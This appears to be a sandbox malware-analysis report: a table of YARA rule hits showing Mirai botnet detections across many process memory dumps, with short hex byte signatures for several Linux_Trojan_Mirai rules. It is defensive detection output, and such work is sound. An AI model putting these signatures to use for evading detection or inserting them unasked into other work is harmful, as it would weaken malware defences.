6691.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6691.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6466.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7241.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7241.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7241.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7241.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7241.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7241.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6421.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6421.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6421.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6421.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6421.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6421.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6383.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6383.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6383.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6383.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6383.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6383.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6574.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6692.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6692.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6692.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6692.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6692.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6692.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7421.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7421.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7421.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7421.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7421.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7421.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6312.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6312.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6312.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6312.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6312.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6312.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7333.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7333.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7333.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7333.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7333.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7333.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6714.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6714.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6714.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6714.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6714.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6714.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7196.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7196.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7196.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7196.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7196.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7196.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6269.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6269.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6269.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6269.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6269.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6269.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7420.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7420.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7420.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7420.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7420.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7420.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6628.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6628.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6628.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6628.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6628.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6628.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7440.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7440.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7440.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6403.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6403.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6403.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6403.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6403.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6403.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7440.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7440.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7440.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6696.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6696.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6696.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6696.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6696.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6696.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6970.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6970.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6970.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6970.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6970.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6970.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6891.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6891.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6891.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6891.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6891.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6891.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6641.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6641.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6641.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6641.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6641.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6641.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7294.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7294.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7294.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7294.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7294.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7294.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7292.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7243.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7243.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7243.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7243.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7243.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7243.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7019.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7019.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7019.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7019.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7019.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7019.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7313.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7313.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7313.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7313.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7313.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7313.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7130.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7130.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7130.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7130.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7130.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7130.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6766.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6766.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6766.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6766.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6766.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6766.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7244.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7244.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7244.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7244.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7244.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7244.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7309.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7309.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7309.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7309.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7309.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7309.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6285.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6285.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6285.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6285.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6285.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6285.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7310.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7310.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7310.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
